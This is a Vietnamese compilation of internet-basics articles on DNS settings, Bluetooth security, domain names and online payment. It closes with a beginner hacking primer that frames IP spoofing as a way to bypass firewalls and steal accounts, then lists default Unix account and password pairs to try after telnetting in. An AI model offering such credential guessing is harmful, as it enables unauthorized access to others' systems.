Địa chỉ của DNS thường được cung cấp tự động trực tiếp mỗi khi bạn thiết lập kết nối với ISP (nhà cung cấp dịch vụ Internet). Ở VN, mỗi ISP thường có hai hoặc nhiều DNS để phục vụ số lượng khách hàng của mình.

Thế nhưng thường cũng không đủ dùng. Vì vậy không ai cấm việc xài dịch vụ của ISP này nhưng thiết lập DNS của ISP khác, hoặc một DNS nào đó tốt hơn trong các giờ cao điểm.

Thao tác thay DNS cũng rất dễ dàng. Bạn mở cửa sổ Properties để vào Internet Protocol (TCP/IP) Properties. Nếu bạn dùng mặc định DNS do ISP cung cấp thì chọn “Obtain DNS server address automatically”.

Nếu muốn dùng DNS theo ý mình thì chọn dòng “Use the following DNS server addresses”, sau đó điền địa chỉ IP của DNS vào hai dòng bên dưới. Preferrer DNS server là địa chỉ được trình duyệt tìm đến đầu tiên. Alternate DNS server dành cho server dự phòng, trong trường hợp server đầu tiên quá bận. chính là tên của kết nối Internet của bạn.

Tìm hiểu về công nghệ Bluetooth

Ngày nay, rất nhiều thiết bị được kết hợp chặt chẽ với công nghệ Bluetooth để cho phép truyền thông không dây với các thiết bị Bluetooth khác. Trước khi sử dụng Bluetooth, chúng ta nên tìm hiểu xem công nghệ này là gì và những rủi ro về bảo mật có thể xảy ra với nó, cũng như các biện pháp để tránh hay bảo vệ bạn khỏi các rủi ro này.

Bluetooth là gì?

Bluetooth là một công nghệ cho phép truyền thông giữa các thiết bị với nhau mà không cần cáp và dây dẫn. Nó là một chuẩn điện tử, điều đó có nghĩa là các hãng sản xuất muốn có đặc tính này trong sản phẩm thì họ phải tuân theo các yêu cầu của chuẩn này đối cho sản phẩm của mình. Những chỉ tiêu kỹ thuật này bảo đảm cho các thiết bị có thể nhận ra và tương tác với nhau khi sử dụng công nghệ Bluetooth.

Ngày nay phần lớn các nhà máy đều sản xuất các thiết bị có sử dụng công nghệ Bluetooth. Các thiết bị này gồm có điện thoại di động, máy tính và thiết bị hỗ trợ cá nhân (Personal Digital Assistant - PDA). Công nghệ Bluetooth là một công nghệ dựa trên tần số vô tuyến và bất cứ một thiết bị nào có tích hợp bên trong công nghệ này đều có thể truyền thông với các thiết bị khác với một khoảng cách nhất định về cự li để đảm bảo công suất cho việc phát và nhận sóng. Công nghệ này thường được sử dụng để truyền thông giữa hai loại thiết bị khác nhau. Ví dụ: Bạn có thể hoạt động trên máy tính với một bàn phím không dây, sử dụng bộ tai nghe không dây để nói chuyện trên điện thoại di động của bạn hoặc bổ sung thêm một cuộc hẹn vào lịch biểu PDA của một người bạn từ PDA của bạn.

Vậy vấn đề bảo mật liên quan đến công nghệ này là gì?

Phụ thuộc vào cách nó được cấu hình. Công nghệ Bluetooth có thể khá an toàn. Bạn có thể thấy được nhiều ưu điểm của nó trong việc sử dụng xác nhận key và mã hóa. Nhưng tuy nhiên, nhiều thiết bị Bluetooth có số lượng ngắn các chữ số sử dụng trong mã PIN và điều này có thể gây nguy hiểm cho các thiết bị này.

Nếu ai đó có thể “phát hiện ra” thiết bị Bluetooth của bạn, thì người này hoàn toàn có khả năng gửi các tin nhắn không yêu cầu đến và lạm dụng dịch vụ Bluetooth của bạn, điều đó có thể gây ra nhiều vấn đề rắc rối. Điều tồi tệ hơn cả là một kẻ lạ mặt có thể tìm được cách để xâm nhập hay sửa đổi dữ liệu của bạn. Một ví dụ về loại hình tấn công kiểu này: một kẻ tấn công có thể sử dụng kết nối Bluetooth để cuỗm đi thông tin quan trọng từ thiết bị của bạn. Các virus hoặc các mã nguy hiểm khác cũng có thể lợi dụng công nghệ này để làm hại thiết bị. Nếu đã bị xâm nhập, dữ liệu của bạn có thể sẽ bị sửa đổi, làm tổn hại hay bị đánh cắp hoặc mất. Bạn nên biết rõ về người mà bạn gửi thông tin đến trên một kết nối Bluetooth không tin tưởng.

Vậy là thế nào để bảo vệ?

• Vô hiệu hóa Bluetooth khi không sử dụng chúng – Trừ khi bạn kích hoạt việc truyền tải thông tin từ thiết bị này đến một thiết bị khác, nếu không bạn nên vô hiệu hóa công nghệ này để tránh những người không hợp lệ có thể xâm nhập.

• Sử dụng Bluetooth trong chế độ ẩn – Khi kích hoạt Bluetooth, hãy đặt nó trong trang thái ẩn “không thể phát hiện”. Chế độ ẩn nhằm ngăn chặn các thiết bị Bluetooth khác nhận ra thiết bị của bạn. Điều này không ngăn cản bạn kết nối đến các thiết bị Bluetooth khác. Thậm chí cả hai thiết bị cũng có thể nhận ra nhau để kết nối nếu chúng cùng trong chế độ ẩn. Các thiết bị như điện thoại di động và tai nghe không dây cần phải đặt trong chế độ “không phát hiện” kết nối ban đầu thì chúng luôn nhận ra thiết bị kia mà không cần tìm kiếm lại kết nối nữa cho lần tiếp theo.

• Cẩn thận với những nơi bạn sử dụng Bluetooth – Bạn cần phải quan tâm đến môi trường khi ghép đôi thiết bị của bạn hoặc hoạt động trong chế độ có thể phát hiện. Lấy một ví dụ cụ thể: Nếu bạn đang trong một địa điểm công cộng “hot spot”, chắc chắn sẽ có nhiều rủi ro về trường hợp có ai đó chặn kết nối của bạn hơn là bạn kết nối trong nhà hoặc trong xe ô tô.

• Đánh giá các thiết lập bảo mật của bạn – Hầu hết các thiết bị đều có nhiều đặc tính giúp bạn trang bị cần thiết cho bản thân. Tuy vậy, việc kích hoạt một số tính năng cụ thể có thể mang lại cho bạn nhiều nguy cơ bị tấn công. Vì vậy, vô hiệu hóa bất kỳ tính năng hoặc các kết nối không cần thiết nào có thể. Kiểm tra các thiết lập, thiết lập bảo mật đặc biệt và lựa chọn các tùy chọn cần thiết đối với bạn mà không gây ra mức rủi ro cao cho bạn. Phải bảo đảm rằng tất cả các kết nối Bluetooth của bạn đều được cấu hình với yêu cầu cần thiết về bảo mật.

• Khai thác triệt để các tùy chọn bảo mật – Tìm hiểu kỹ về các tùy chọn bảo mật mà thiết bị Bluetooth của bạn có thể cung cấp, từ đó khai thác triệt để những tính năng tác dụng của chúng như sự mã hóa và thẩm định.

CO BAO NHIEU MANG O VN ?


* Mang VARENet phuc vu khoang 300 co quan nghien cuu khoa hoc,
giao duc va mot so truong dai hoc.
* Mang NetNAM co khoang 1.000 don vi su dung, chu yeu la cac
cong ty nuoc ngoai va cac to chuc phi chinh phu dong tai VN.
Hai mang tren do Vien Cong nghe thong tin to chuc, voi dich vu
chu yeu la phi dien thu dien tu, dung giao thuc truyen UUCP, noi
vao Intemet qua cong vao cua Dai Hoc Quoc Gia Uc.


* Mang TOOLNet do to chuc chuyen giao cong nghe Tool - Ha Lan
thiet ke cho cac nuoc dang phat trien, co noi vao Intemet va dung
giao thuc UUCP.
TOOLNet o VN dat tai trung tam Thong tin tu lieu khoa hoc cong
nghe quoc gia, co khoang 200 don vi su dung.


* Mang TNet do Lien Hiep Khoa Hoc cong nghe phan mem (CSE) thiet
ke theo tieu chuan va giao thuc rieng, noi vao Internet qua ngo
Thai Lan, phuc vu hep trong gioi nghien cuu khoa hoc.
Tu nen tang cong nghe cua TNet, da xuat hien cac mang mien rong
thuoc cac nganh nhu PostNet (Tong cong ty Buu chinh VN), VBANet (he
thong ngan hang Nong nghiep), EVANet (truc xuong song thong tin cua
duong day 500 kV), VNCoalNet (Tong cong ty than VN), GDTNet (tong
cong ty thue VN). Thang 7 moi day, TNet da thiet ke tiep mang mien
rong SVMP ("Sach ve muon phuong"), noi he thong quoc gia thuoc 53
tinh, thanh trong ca nuoc.

Tên miền ( Domain name ) là một tên dễ nhớ để gán cho một địa chỉ trên internet, thí dụ: YAHOO.COM, EBAY.COM, SAIGONWEB.NET, VNN.VN. Nó thay thế cho một dải những con số khó nhớ ( gọi là Internet Protocol numbers ). Có thể hiểu tên miền như là địa chỉ ( số nhà ) trên mạng Interrnet. Doanh nghiệp tham gia hoạt động trên mạng internet thì đăng ký một tên miền là việc đầu tiên cần làm, tên miền riêng khẳng định vị trí, giúp khách hàng dễ tìm đến website của doanh nghiệp, vừa bảo vệ thương hiệu của doanh nghiệp trên Interrnet.

2. Có bao nhiêu loại tên miền ?

Tên miền được chia thành 2 cấp độ cao nhất : tên miền quốc tế và tên miền quốc gia.

· Tên miền quốc tế là những tên miền có phần đuôi là com, net, org ( đến cuối năm nay sẽ chính thức có thêm tên miền biz và info).

· Tên miền quốc gia có phần đuôi là ký hiệu của mỗi quốc gia. Ký hiệu này được quy định bởi Tổ chức Quản lý Tên miền Quốc tế (ICANN). Việt Nam có phần đuôi là VN, Australia là AU, Pháp là FR, Hiện có hơn 200 tên miền quốc gia khác nhau. Dưới mỗi tên miền quốc gia có tên miền cấp 2 và cấp 3 ( thí dụ COM.VN, EDU.VN, ).

3. Tên miền bao gồm các ký tự nào?

- Tên miền có thể bao gồm các con số từ 0 đến 9, các chữ cái từ a đến z và dấu gạch ngang. Tuy nhiên, tên miền không thể bắt đầu bằng dấu gạch ngang.

- Tên miền có thể có đến 63 ký tự. Thông thường tên miền có ít nhất 3 ký tự. Tuy nhiên trong những trường hợp cần thiết, có thể đăng ký tên miền với 2 ký tự, nếu chứng minh được quyền và lợi ích hợp pháp cho việc đăng ký tên miền như này.

- Tên miền đăng ký không được bao gồm các cụm từ xâm phạm đến lợi ích của quốc gia hoặc không phù hợp với đạo đức xã hội, với nếp sống, văn hóa dân tộc.

4. Quy tắc chọn tên miền:

· Càng ngắn càng tốt

· Dễ nhớ

· Không gây nhầm lẫn

· Khó viết sai

· Tên miền phải liên quan đến tên hoặc lĩnh vực kinh doanh của Doanh nghiệp bạn.

· Tên miền phải được xây dựng dựa trên khách hàng mục tiêu.

5. Tầm quan trọng của tên miền

Khi bạn hay doanh nghiệp bạn tham gia Internet, tên miền đóng vai trò cực kỳ quan trọng, nó càng quan trọng khi được sử dụng lâu. Người ta có thể đến và giao dịch thông qua website của bạn thông qua tên miền, khách hàng hay đối tác của bạn có thể trao đổi email với bạn cũng qua tên miền (tennv@tencongty.com , tenbophan@tencongty.com). Có thể nói hệ thống thông tin liên quan đến Internet của bạn phụ thuộc hoàn vào tên miền. Vì lẽ đó, bạn phải chọn đối tác tin cậy để uỷ thác việc đăng ký tên miền cho bạn, không nên vì ham rẻ hơn chỉ vài USD mà bạn chọn lầm đối tác đăng ký tên miền cho bạn , dẫn đến những thiệt hại nghiêm trọng về sau cho doanh nghiệp bạn.

6. Khác nhau giữa các tên miền com, net, org ?

Không có quy định bắt buộc đối với tên miền quốc tế khi sử dụng .com, .net, . org.
Thông thường các tên miền .com được dùng cho doanh nghiệp và các tổ chức thương mại. Tên miền .net được dùng cho các công ty cung cấp dich vụ internet. Tên miền .org được dùng cho cơ quan chính phủ và các tổ chức phi lợi nhuận.

7. Ai quản lý các tên miền ?

Tên miền quốc tế và tên miền quốc gia cấp 1 do tổ chức Internet Corporation for Assigned Names and Numbers (ICANN) quản lý. Tên miền quốc gia cấp thấp hơn do cơ quan quản lý tên miền của từng nước quản lý. ở Việt Nam , cơ quan quản lý tên miền quốc gia là VNNIC.

8. Có thể đăng ký tên miền với thời hạn tối đa bao lâu ?

Tên miền có thể đăng ký với thời hạn từ 1 đến 10 năm. Khi hết thời hạn đã đăng ký, người chủ của tên miền cần phải đăng ký lại.

9. Có phải khi tôi đăng ký tên miền có nghĩa là tôi là chủ sở hữu tên đó?

Không. Theo quy định của Việt Nam, tên miền là tài nguyên quốc gia, bạn chỉ có quyền sử dụng tên miền đó. Quyền sử dụng này có thời hạn phụ thuộc vào phí gia hạn mà bạn nộp. Về nguyên tắc, bạn không tự động có quyền giữ tên miền mãi mãi. Nhưng trên thực tế, nếu bạn trả tiền đầy đủ và không vi phạm các quy định về quyền sở hữu trí tuệ của người khác, tên miền về cơ bản thuộc về bạn.

10. Để làm chủ một tên miền, có cần phải có trang web không?

Không, bạn có thể đăng ký một tên miền và link đến một trang web có sẵn của bạn. Theo quy định, tên miền không được sử dụng trong thời hạn 60 ngày kể từ ngày đăng ký sẽ bị thu hồi.

11. Có phải đăng ký một tên miền đồng nghĩa với việc có một trang web?

Không. Khi đăng ký tên miền không đồng nghĩa với việc bạn đã có một trang web đi kèm.

12. Tôi có thể làm gì với tên miền?

Có rất nhiều cách sử dụng tên miền, cả chủ động và thụ động.

a. Tên miền có thể được sử dụng để tạo cho bạn một ID độc nhất

Các công ty thường lựa chọn tên miền là tên thương mại của Công ty. Chẳng hạn, trang web của IBM có tên ibm.com, trong khi tên miền của Microsoft là microsoft.com. Như vậy khi ai đó muốn biết các thông tin chính thức từ IBM hay Microsoft thì chỉ cần lên mạng là có thể tìm được một cách dễ dàng.

b. Tên miền chung là thông dụng hơn cả

Tên miền chung là tên miền không liên quan trực tiếp đến công ty, thay vào đó là tên xác định một loại hình hay một lĩnh vực kinh doanh. Một số ví dụ về tên miền chung như books.com.vn, car.com.vn và art.com.vn.

Các công ty là chủ tên miền chung có thuận lợi lớn trong việc quảng bá. Tên miền càng chung thì thành công càng lớn. Hãy tưởng tượng bạn bán sách và bạn có tên miền chung books.com.vn. Những người quan tâm đến sách tất nhiên sẽ vào trang này. Còn có cơ hội quảng cáo nào tốt và hiệu quả hơn?

c. Tên miền cho phép bạn có một địa chỉ email thường trực và duy nhất

Nhiều công ty ngày nay cung cấp cho các nhân viên một địa chỉ email thống nhất. Email của bạn khi đó sẽ là: tenban@tenmien.com.vn. Tất cả các thư từ sẽ được chuyển vào hộp thư do người cung cấp dịch vụ internet của bạn cung cấp. Bạn có thể thay đổi người cung cấp dịch vụ internet mà vẫn giữ nguyên địa chỉ email.

d. Tên miền có thể được sử dụng để nâng cao vị trí trong danh sách kết quả tìm kiếm của các máy tìm kiềm.

Nếu tên công ty bạn chưa được biết đến rộng rãi như IBM hay Microsoft, mọi người vẫn có thể dễ dàng tìm được bạn trong số hàng triệu công ty đang có mặt trên mạng toàn cầu. Chỉ cần gõ một từ khóa (keyword) vào các công cụ tìm kiếm trên Internet như Google hoặc Yahoo là các công cụ này sẽ sàng lọc để những người quan tâm tìm được công ty bạn.

13. Chọn tên miền như thế nào?

Khi chọn tên miền, bạn cần đặt câu hỏi: bạn đăng ký tên miền để làm gì? Trả lời câu hỏi này sẽ giúp bạn lựa chọn được tên miền phù hợp

a. Để sử dụng với mục đích “cá nhân”

Bạn muốn tậu một tên miền chỉ để có một địa chỉ URL hoặc một địa chỉ email riêng, hay đơn giản để gây ấn tượng với những người xung quanh? Hay bạn muốn có một tên miền liên quan đến vấn đề đang được nhiều người quan tâm? Dù là nguyên nhân nào đi chăng nữa, nếu bạn muốn có một tên miền vì lý do cá nhân, bạn nên lựa chọn dựa trên một trong các thông tin sau:

Họ tên của bạn

Nếu bạn có họ hoặc tên đặc biệt ít người có, bạn có thể sử dụng nó làm tên miền. Hoặc hãy thử lấy họ tên đầy đủ của bạn để đăng ký tên miền (chẳng hạn, nếu tên bạn là Đặng Việt Thành, bạn có thể đăng ký tên miền dangvietthanh.com.vn) hoặc chữ cái đầu của họ và tên (dvthanh.com.vn).

Chú ý: Nếu tên bạn trùng với tên của một người nổi tiếng, hoặc với một nhãn hiệu hàng hoá, bạn có thể bị kiện, dù rằng đó chính là tên riêng của bạn. Có thể hơi khó tin, nhưng trên thực tế, đã có nhiều người nổi tiếng lấy lại tên của mình từ những người trùng tên.

Các sở thích, thiên hướng hoặc thói quen của bạn

Nếu bạn là người hâm mộ thể thao, bạn có thể lấy tên miền như thethao.com.vn hoặc sports-mad-guy.com.vn. Nếu bạn là người thích ngủ, bạn có thể đặt tên cho trang web của bạn là giacmo.com.vn hoặc in-a-daze.com.vn, v.v.

Nếu quan tâm hơn một chút, bạn sẽ thấy rằng rất nhiều tên miền như vậy được đăng ký. Thế nhưng hãy chú ý, đừng chọn các tên miền có thể khiến bạn phải mệt mỏi vì bị kiện!

b. Công ty

Nếu bạn đăng ký một hoặc nhiều tên miền cho công ty của bạn, bạn nên chú ý đến một số vấn đề sau: Dù nguyên nhân có khác nhau, tên miền thường được đăng ký để bảo hộ tên thương mại hoặc nhãn hiệu hàng hoá.

Bảo hộ nhãn hiệu

Cần đăng ký tên miền song song với việc bảo hộ nhãn hiệu hoặc tên thương mại.

Trên thương trường có rất nhiều trường hợp người khác chiếm đoạt tên miền là tên thương mại, nhãn hiệu hàng hóa và sau đó đòi chủ sở hữu tên thương mại hoặc nhãn hiệu hàng hóa phải mua lại với giá cắt cổ.

Cho nên tốt hơn cả bạn nên đăng ký một loạt các tên miền liên quan đến tất cả các nhãn hiệu, tên thương mại mà công ty bạn muốn bảo hộ.

Kết hợp một từ chung vào sản phẩm của bạn

Chúng tôi không đề cập ở đây lợi ích của việc kết hợp một từ chung vào sản phẩm. Proctor & Gamble là một ví dụ điển hình về các công ty có cách tiếp cận như vậy. Công ty này đã đăng ký hàng trăm tên miền là từ chung về tất cả các khía cạnh liên quan đến vệ sinh cá nhân và y tế.

Hiện nay đã quá muộn để đăng ký các tên miền như art.com.vn hay car.com.vn, nhưng nếu tập trung suy nghĩ, chúng ta còn kịp thời đăng ký các tên miền thay thế khác có thể mang lại kết quả tốt cho công việc kinh doanh. Có thể dễ dàng nối các tên thay thế này vào trang web chính, nhằm mục đích thu hút được nhiều khách hàng hơn nữa.

14. Nguyên tắc đăng ký tên miền

a) Những nguyên tắc chung.

· Khuyến khích sử dụng rộng rãi tên miền dưới tên miền quốc gia .VN. Ưu tiên những tên miền trực tiếp tham gia hoạt động, kinh doanh tại Việt Nam.

· Tên miền là do tổ chức, cá nhân tự chọn, tuân theo quy định của pháp luật hiện hành, phù hợp với các quy định về sở hữu trí tuệ và các quy định nêu trong bản Quy định này.

· Đăng ký theo nguyên tắc bình đẳng, không phụ thuộc vào người đăng ký là một cá nhân hay một tổ chức. Tổ chức, cá nhân đăng ký trước được xét cấp trước.

· Tên miền chỉ được cấp phát khi có đầy đủ thông tin về máy chủ tên miền mà nó được đặt hoặc tên miền đích mà nó trỏ tới.

· Tổ chức, cá nhân xin đăng ký tên miền phải giải thích rõ mối liên quan của tên miền xin đăng ký với hoạt động của mình, hoàn toàn chịu trách nhiệm về tính chính xác của các thông tin cung cấp cho Trung tâm Internet Việt Nam.

b) Tên miền đăng ký không được bao gồm các cụm từ xâm phạm đến lợi ích của quốc gia hoặc không phù hợp với đạo đức xã hội, với nếp sống, văn hóa dân tộc.

c) Tránh đăng ký các tên miền liên quan tới tên các địa danh, danh nhân, lãnh tụ hay liên quan tới các tên chung của một ngành kinh tế, chủng loại hàng hóa, sản phẩm, tên các loại dược phẩm, tổ chức liên chính phủ, tổ chức chính trị, xã hội. Trong trường hợp có nhu cầu đăng ký cần có sở cứ rõ ràng.

15. Thay đổi tên miền

· Thay đổi hoàn toàn tên miền là đăng ký một tên miền mới theo thủ tục đăng ký, sử dụng tên miền. Trong trường hợp này tên miền cũ sẽ bị hủy bỏ.

· Thay đổi các thông tin liên quan đến sự hoạt động và quản lý của tên miền như các thông số kỹ thuật, địa chỉ cơ quan, số điện thoại, số fax, Email, v.v

16. Tạm ngừng, hủy bỏ tên miền.

a) Hủy bỏ tên miền trong các trường hợp sau:

· Tên miền được hủy bỏ nếu nhận được yêu cầu bằng văn bản hợp pháp của cơ quan, tổ chức, cá nhân đăng ký.

· Vi phạm pháp luật theo văn bản kết luận của các cơ quan nhà nước có thẩm quyền.

· Tên miền sẽ bị hủy bỏ sau 30 ngày kể từ khi tạm ngừng mà cơ quan, tổ chức, cá nhân vẫn tiếp tục vi phạm.

b) Tạm ngừng sử dụng tên miền trong các trường hợp sau:

· Vi phạm những điều, khoản của ”Quy định về quản lý và sử dụng tài nguyên Internet“ của Bộ trưởng Bộ Bưu Chính Viễn Thông.

· Quá thời hạn thanh toán phí duy trì tên miền theo quy định.

c) Gửi thông báo.

· Chúng tôi sẽ gửi thông báo tạm ngừng hay hủy bỏ cho các tổ chức, cá nhân đang sử dụng tên miền.

· Việc tạm ngừng hay hủy bỏ sẽ được thực hiện ngay trên hệ thống máy chủ tên miền, cơ sở dữ liệu.

17 Khôi phục tên miền.

Tất cả tên miền bị huỷ đều được lưu giữ lại tối đa 30 ngày để tạo điều kiện cho các tổ chức, cá nhân khôi phục tên miền cũ khi có khả năng sử dụng lại

Neu ban muon thanh toan truc tuyen thi rat co nhieu cach:

Cach thu nhat la tra bang PayPal, website cua no la www.paypal.com. Paypal la mot cong ty chuyen tien trung gian giua nguoi mua va nguoi ban. Paypal cung dam nhan chuyen tien neu ban can chuyen tien cho ai do va khong can phai la nguoi mua hay nguoi ban. Truoc tien la ban dang ky voi Paypal ho ten, e-mail va your bank account hay mot loai the tin dung (the tin dung co the la do mot ngan hang o VN cung cap). Paypal se kiem tra so truong muc va ten ho cua ban voi nha bank ban cung cap bang cach bo vao truong muc cua ban khoang 0.25 or 0.29 cent USD. Khi truong muc cua ban da nhan duoc tien thi ban bao voi ho. Coi nhu la ban da gan nhu hoan thanh. Khi nguoi mua software cua ban muon tra tien thi ban chi can dua cho nguoi mua dia chi email cua ban hay la userID ma ban da dang ky voi Paypal thi nguoi mua se tu tra tien cho ban. Khi tien chuyen vao thi Paypal se bao cho ban va ban chi viec log on your account va transfer tien vao truong muc nha bang cua ban ma thoi. Ban nen nho rang tuy theo muc do giao dich ma Paypal se an bao nhieu phan tram tren so tien ban thu duoc.

Cach thu hai cung tuong tu nhu cach tren nhung ban phai dang ky vo hang VISA va MASTERCARD (hay la nhung nha bank dai dien cho MASTERCARD) de mo mot truong muc va khach hang co the tra bang the tin dung. Tien se vao trong hang VISA hay MASTERCARD truoc khi chuyen giao cho ban sau khi ho da an bao nhieu phan tram tren so tien cua ban (surcharge). Toi khong biet la nha bank o VN da co the thanh toan nhu vay chua? Chac an thi ban lien he voi nha bank o VN xem the nao truoc khi thuc hien. Hy vong nhung tin tuc nay giup ban phan nao. Chuc ban thanh cong.

Ta cần những gì để bắt đầu?

Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có :
+ Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….)
+ Một cái trang Web tốt ( HVA chẳng hạn hi`hi` greenbiggrin.gif greenbiggrin.gif )
+ Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila )
+ Một công cụ chat tốt ( mIRC ,Yahoo Mass …..)
+ Telnet ( hoặc những cái tương tự như nmap …)
+ Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..)

2 . ) Thế nào là một địa chỉ IP ?

_ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte - > !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.)
_ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là duy nhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn.
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
+ bạn lướt qua một trang web, IP của bạn bị ghi lại
+ trên IRC, bất kì ai cũng có thể có IP của bạn
+ trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn ``do not show ip`` người ta vẫn lấy được nó
+ nếu bạn kết nối với một ai đó, họ có thế gõ ``systat –n ``, và biết được ai đang kết nối đên họ
+ nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn
( Tài liệu của HVA )

3 . ) Làm thế nào để biết được địa chỉ IP của mình ?

_ Trong Window : vào Start Run đánh lệnh “winipcfg” .
_ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns ”
_ Thông qua một số trang Web có hiển thị IP .

4 . ) IP Spoofing là gì ?

_ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân!
( Tài liệu của HVA )

5 . ) Trojan / worm / virus / logicbomb là cái gì ?

_ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó .
_ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính .
_ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó .
_ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) .

6 . ) PGP là gì ?

_ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác .

7 . ) Proxy là gì ?

_Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client .
_ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter.

( Bài viết của Z3RON3 – tài liệu của HVA )

8 . ) Unix là gì ?

_ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .

9 . ) Telnet là gì ?

_ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng :
+ Port 21: FTP
+ Port 23: Telnet
+ Port 25: SMTP (Mail)
+ Port 37: Time
+ Port 43: Whois
_ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 .

10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
_ Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau :

Account-------------------------Default Password


Root----------------------------------------------- Root
Sys------------------------------------------------ Sys / System / Bin
Bin------------------------------------------------ -Sys / Bin
Mountfsy------------------------------------------M ountfsys
Nuuc----------------------------------------------- Anon
Anon----------------------------------------------- Anon
User----------------------------------------------- -User
Games---------------------------------------------G ames
Install-------------------------------------------- --Install
